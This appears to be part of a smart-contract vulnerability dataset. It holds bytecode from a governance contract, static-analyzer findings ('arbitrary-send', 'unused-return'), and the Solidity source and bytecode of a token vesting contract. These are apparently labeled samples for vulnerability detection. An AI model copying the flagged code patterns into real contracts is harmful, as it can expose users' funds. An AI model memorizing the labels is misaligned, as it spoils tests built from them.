50945094509450509193509193565b600190565b600081600554101580156109e75750600082115b610a035760405162461bcd60e51b815260040161067c90612ad7565b6000828152600660205260409020600b81015460ff1615610a28576002915050610b5a565b80600701544311610a3d576000915050610b5a565b80600801544311610a52576001915050610b5a565b80600a01548160090154111580610a735750610a6c61073a565b8160090154105b15610a82576003915050610b5a565b6002810154610a95576004915050610b5a565b600b810154610100900460ff1615610ab1576007915050610b5a565b610b448160020154600260009054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610b0757600080fd5b505afa158015610b1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3f91906123d1565b611c17565b4210610b54576006915050610b5a565b60059150505b919050565b6000610b6a826109d3565b90506007816007811115610b7a57fe5b1415610b985760405162461bcd60e51b815260040161067c90612f14565b60008281526006602052604090206004546001600160a01b03163314610bd05760405162461bcd60e51b815260040161067c90612d3d565b600b8101805460ff1916600117905560005b6003820154811015610cdc576002546003830180546001600160a01b039092169163591fcdfe919084908110610c1457fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610c3c57fe5b9060005260206000200154856005018581548110610c5657fe5b90600052602060002001866006018681548110610c6f57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c9e9594939291906127b1565b600060405180830381600087803b158015610cb857600080fd5b505af1158015610ccc573d6000803e3d6000fd5b505060019092019150610be29050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d0c9190612842565b60405180910390a1505050565b6003546001600160a01b031681565b6004546001600160a01b031681565b60408051808201909152601681527556454d5049524520476f7665726e6f7220416c70686160501b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667ffed895c412f3f7e02e14560035695c2b76f03436ae9aa10d6700357e50463b56610db1611c43565b30604051602001610dc5949392919061284b565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610e149392919061286f565b60405160208183030381529060405280519060200120905060008282604051602001610e41929190612699565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e7e9493929190612887565b6020604051602081039080840390855afa158015610ea0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ed35760405162461bcd60e51b815260040161067c90612e42565b610ede818a8a611a2f565b505050505050505050565b60005490565b6004546001600160a01b03163314610f195760405162461bcd60e51b815260040161067c906128cc565b600055565b6004546001600160a01b03163314610f485760405162461bcd60e51b815260040161067c90612fb4565b600480546001600160a01b0319169055565b600a90565b6004546001600160a01b03163314610f895760405162461bcd60e51b815260040161067c906128cc565b600155565b6004546001600160a01b03163314610fb85760405162461bcd60e51b815260040161067c90612bf0565b6002546040516001600160a01b0390911690633a66f901908290600090610fe39087906020016126b4565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161101294939291906126c8565b602060405180830381600087803b15801561102c57600080fd5b505af1158015611040573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073591906123d1565b6004546001600160a01b0316331461108e5760405162461bcd60e51b815260040161067c906128cc565b600260009054906101000a90046001600160a01b03166001600160a01b0316630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156110de57600080fd5b505af11580156110f2573d6000803e3d6000fd5b50505050565b6002546001600160a01b031681565b60015490565b60055481565b600061111d611107565b6003546040516370a0823160e01b81526001600160a01b03909116906370a082319061114d9033906004016126b4565b60206040518083038186803b15801561116557600080fd5b505afa158015611179573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119d91906123d1565b116111ba5760405162461bcd60e51b815260040161067c9061300a565b845186511480156111cc575083518651145b80156111d9575082518651145b6111f55760405162461bcd60e51b815260040161067c90612cd3565b85516112135760405162461bcd60e51b815260040161067c90612df6565b61121b610f5a565b8651111561123b5760405162461bcd60e51b815260040161067c90612c60565b3360009081526007602052604090205480156112b857600061125c826109d3565b9050600181600781111561126c57fe5b141561128a5760405162461bcd60e51b815260040161067c90612e91565b600081600781111561129857fe5b14156112b65760405162461bcd60e51b815260040161067c90612b6d565b505b60006112c643610b3f6109ce565b905060006112d682610b3f6105d5565b60058054600101905590506112e9611da6565b604051806101a001604052806005548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060066000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506040820151816002015560608201518160030190805190602001906113cc929190611e1b565b50608082015180516113e8916004840191602090910190611e80565b5060a08201518051611404916005840191602090910190611ec7565b5060c08201518051611420916006840191602090910190611f20565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516007600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e604051611506999897969594939291906130a5565b60405180910390a1519998505050505050505050565b6004611527826109d3565b600781111561153257fe5b1461154f5760405162461bcd60e51b815260040161067c90612990565b60008181526006602090815260408083206002548251630d48571f60e31b815292519194936115a99342936001600160a01b0390931692636a42b8f892600480840193919291829003018186803b158015610b0757600080fd5b905060005b6003830154811015611751576117498360030182815481106115cc57fe5b6000918252602090912001546004850180546001600160a01b0390921691849081106115f457fe5b906000526020600020015485600501848154811061160e57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561169c5780601f106116715761010080835404028352916020019161169c565b820191906000526020600020905b81548152906001019060200180831161167f57829003601f168201915b50505050508660060185815481106116b057fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561173e5780601f106117135761010080835404028352916020019161173e565b820191906000526020600020905b81548152906001019060200180831161172157829003601f168201915b505050505086611c47565b6001016115ae565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d0c9085908490613189565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b6117b7611f79565b5060008281526006602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b6004546001600160a01b031633146118485760405162461bcd60e51b815260040161067c90612fb4565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6005611875826109d3565b600781111561188057fe5b1461189d5760405162461bcd60e51b815260040161067c906129fa565b6000818152600660205260408120600b8101805461ff001916610100179055905b60038201548110156119f3576002546004830180546001600160a01b0390921691630825f38f9190849081106118f057fe5b906000526020600020015484600301848154811061190a57fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061193257fe5b906000526020600020015486600501868154811061194c57fe5b9060005260206000200187600601878154811061196557fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016119949594939291906127b1565b6000604051808303818588803b1580156119ad57600080fd5b505af11580156119c1573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f191682016040526119ea91908101906123e9565b506001016118be565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611a239190612842565b60405180910390a15050565b6001611a3a836109d3565b6007811115611a4557fe5b14611a625760405162461bcd60e51b815260040161067c90612f6a565b60008281526006602090815260408083206001600160a01b0387168452600c8101909252909120805460ff1615611aab5760405162461bcd60e51b815260040161067c90612b20565b611ab3610ee9565b6003546040516370a0823160e01b81526001600160a01b03909116906370a0823190611ae39033906004016126b4565b60206040518083038186803b158015611afb57600080fd5b505afa158015611b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3391906123d1565b11611b505760405162461bcd60e51b815260040161067c90612929565b60018315611b7957611b6f8360090154826001600160601b0316611c17565b6009840155611b96565b611b9083600a0154826001600160601b0316611c17565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611c07908890889088908690612734565b60405180910390a1505050505050565b600082820183811015611c3c5760405162461bcd60e51b815260040161067c90612ca8565b9392505050565b4690565b6002546040516001600160a01b039091169063f2b0653790611c759088908890889088908890602001612765565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611ca79190612842565b60206040518083038186803b158015611cbf57600080fd5b505afa158015611cd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf791906123b5565b15611d145760405162461bcd60e51b815260040161067c90612d8c565b600254604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611d4c9088908890889088908890600401612765565b602060405180830381600087803b158015611d6657600080fd5b505af1158015611d7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d9e91906123d1565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611e70579160200282015b82811115611e7057825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611e3b565b50611e7c929150611f99565b5090565b828054828255906000526020600020908101928215611ebb579160200282015b82811115611ebb578251825591602001919060010190611ea0565b50611e7c929150611fb8565b828054828255906000526020600020908101928215611f14579160200282015b82811115611f145782518051611f04918491602090910190611fcd565b5091602001919060010190611ee7565b50611e7c92915061203a565b828054828255906000526020600020908101928215611f6d579160200282015b82811115611f6d5782518051611f5d918491602090910190611fcd565b5091602001919060010190611f40565b50611e7c929150612057565b604080516060810182526000808252602082018190529181019190915290565b5b80821115611e7c5780546001600160a01b0319168155600101611f9a565b5b80821115611e7c5760008155600101611fb9565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061200e57805160ff1916838001178555611ebb565b82800160010185558215611ebb5791820182811115611ebb578251825591602001919060010190611ea0565b80821115611e7c57600061204e8282612074565b5060010161203a565b80821115611e7c57600061206b8282612074565b50600101612057565b50805460018160011615610100020316600290046000825580601f1061209a57506120b8565b601f0160209004906000526020600020908101906120b89190611fb8565b50565b80356001600160a01b038116811461181857600080fd5b600082601f8301126120e2578081fd5b81356120f56120f0826131be565b613197565b81815291506020808301908481018184028601820187101561211657600080fd5b60005b8481101561213d5761212b88836120bb565b84529282019290820190600101612119565b505050505092915050565b600082601f830112612158578081fd5b81356121666120f0826131be565b818152915060208083019084810160005b8481101561213d5761218e888484358a0101612256565b84529282019290820190600101612177565b600082601f8301126121b0578081fd5b81356121be6120f0826131be565b818152915060208083019084810160005b8481101561213d576121e6888484358a0101612256565b845292820192908201906001016121cf565b600082601f830112612208578081fd5b81356122166120f0826131be565b81815291506020808301908481018184028601820187101561223757600080fd5b60005b8481101561213d5781358452928201929082019060010161223a565b600082601f830112612266578081fd5b81356122746120f0826131de565b915080825283602082850101111561228b57600080fd5b8060208401602084013760009082016020015292915050565b6000602082840312156122b5578081fd5b611c3c83836120bb565b600080604083850312156122d1578081fd5b6122db84846120bb565b946020939093013593505050565b600080600080600060a08688031215612300578081fd5b853567ffffffffffffffff80821115612317578283fd5b61232389838a016120d2565b96506020880135915080821115612338578283fd5b61234489838a016121f8565b95506040880135915080821115612359578283fd5b61236589838a016121a0565b9450606088013591508082111561237a578283fd5b61238689838a01612148565b9350608088013591508082111561239b578283fd5b506123a888828901612256565b9150509295509295909350565b6000602082840312156123c6578081fd5b8151611c3c8161323a565b6000602082840312156123e2578081fd5b5051919050565b6000602082840312156123fa578081fd5b815167ffffffffffffffff811115612410578182fd5b8201601f81018413612420578182fd5b805161242e6120f0826131de565b818152856020838501011115612442578384fd5b61245382602083016020860161320e565b95945050505050565b60006020828403121561246d578081fd5b5035919050565b60008060408385031215612486578182fd5b8235915061249784602085016120bb565b90509250929050565b600080604083850312156124b2578182fd5b8235915060208301356124c48161323a565b809150509250929050565b600080600080600060a086880312156124e6578283fd5b8535945060208601356124f88161323a565b9350604086013560ff8116811461250d578384fd5b94979396509394606081013594506080013592915050565b6000815180845260208085019450808401835b8381101561255d5781516001600160a01b031687529582019590820190600101612538565b509495945050505050565b6000815180845260208085018081965082840281019150828601855b858110156125ae57828403895261259c8483516125ea565b98850198935090840190600101612584565b5091979650505050505050565b6000815180845260208085019450808401835b8381101561255d578151875295820195908201906001016125ce565b6000815180845261260281602086016020860161320e565b601f01601f19169290920160200192915050565b60008154600180821660008114612634576001811461265257612690565b60028304607f16865260ff1983166020870152604086019350612690565b6002830480875261266286613202565b60005b828110156126865781546020828b0101528482019150602081019050612665565b8801602001955050505b50505092915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b600060018060a01b038616825284602083015260a06040830152601860a08301527f73657450656e64696e6741646d696e286164647265737329000000000000000060c083015260e0606083015261272360e08301856125ea565b905082608083015295945050505050565b6001600160a01b039490941684526020840192909252151560408301526001600160601b0316606082015260800190565b600060018060a01b038716825285602083015260a0604083015261278c60a08301866125ea565b828103606084015261279e81866125ea565b9150508260808301529695505050505050565b600060018060a01b038716825285602083015260a060408301526127d860a0830186612616565b828103606084015261279e8186612616565b6000608082526127fd6080830187612525565b828103602084015261280f81876125bb565b905082810360408401526128238186612568565b905082810360608401526128378185612568565b979650505050505050565b90815260200190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b60208101600883106128b357fe5b91905290565b600060208252611c3c60208301846125ea565b60208082526039908201527f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736560408201527f6e646572206d75737420626520676f7620677561726469616e00000000000000606082015260800190565b60208082526041908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742068617660408201527f652070726f706572207856454d5020746f6b656e20746f206361737420766f746060820152606560f81b608082015260a00190565b60208082526044908201527f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360408201527f616e206f6e6c79206265207175657565642069662069742069732073756363656060820152631959195960e21b608082015260a00190565b60208082526045908201527f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60408201527f2063616e206f6e6c7920626520657865637574656420696620697420697320716060820152641d595d595960da1b608082015260a00190565b6020808252604c908201527f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c60408201527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060608201526b33b7bb1033bab0b93234b0b760a11b608082015260a00190565b60208082526029908201527f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070726040820152681bdc1bdcd85b081a5960ba1b606082015260800190565b6020808252602d908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060408201526c185b1c9958591e481d9bdd1959609a1b606082015260800190565b60208082526059908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000608082015260a00190565b6020808252604a908201527f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6360408201527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6060820152693b1033bab0b93234b0b760b11b608082015260a00190565b60208082526028908201527f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960408201526720616374696f6e7360c01b606082015260800190565b6020808252601190820152706164646974696f6e206f766572666c6f7760781b604082015260600190565b60208082526044908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60408201527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6060820152630c2e8c6d60e31b608082015260a00190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060408201526e18589bdd99481d1a1c995cda1bdb19608a1b606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060408201527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746060820152632065746160e01b608082015260a00190565b6020808252602c908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60408201526b7669646520616374696f6e7360a01b606082015260800190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60408201526e76616c6964207369676e617475726560881b606082015260800190565b60208082526058908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c7265616479206163746976652070726f706f73616c0000000000000000608082015260a00190565b60208082526036908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063616040820152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b606082015260800190565b6020808252602a908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67604082015269081a5cc818db1bdcd95960b21b606082015260800190565b60208082526036908201527f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465604082015275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b606082015260800190565b60208082526047908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742068617660408201527f652070726f706572207856454d5020746f6b656e20746f2063726561746520706060820152661c9bdc1bdcd85b60ca1b608082015260a00190565b8151151581526020808301511515908201526040918201516001600160601b03169181019190915260600190565b8981526001600160a01b0389166020820152610120604082018190526000906130d08382018b612525565b905082810360608401526130e4818a6125bb565b905082810360808401526130f88189612568565b905082810360a084015261310c8188612568565b90508560c08401528460e084015282810361010084015261312d81856125ea565b9c9b505050505050505050505050565b9889526001600160a01b0397909716602089015260408801959095526060870193909352608086019190915260a085015260c0840152151560e083015215156101008201526101200190565b918252602082015260400190565b60405181810167ffffffffffffffff811182821017156131b657600080fd5b604052919050565b600067ffffffffffffffff8211156131d4578081fd5b5060209081020190565b600067ffffffffffffffff8211156131f4578081fd5b50601f01601f191660200190565b60009081526020902090565b60005b83811015613229578181015183820152602001613211565b838111156110f25750506000910152565b80151581146120b857600080fdfea26469706673582212209b4839d70512864c13c8bf8a2f90ec7a8306ddc2bafa86d2d671008cb8850b8864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,214 |
0xC2846E9387c985dc44548705da53A59cA424eEE9
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206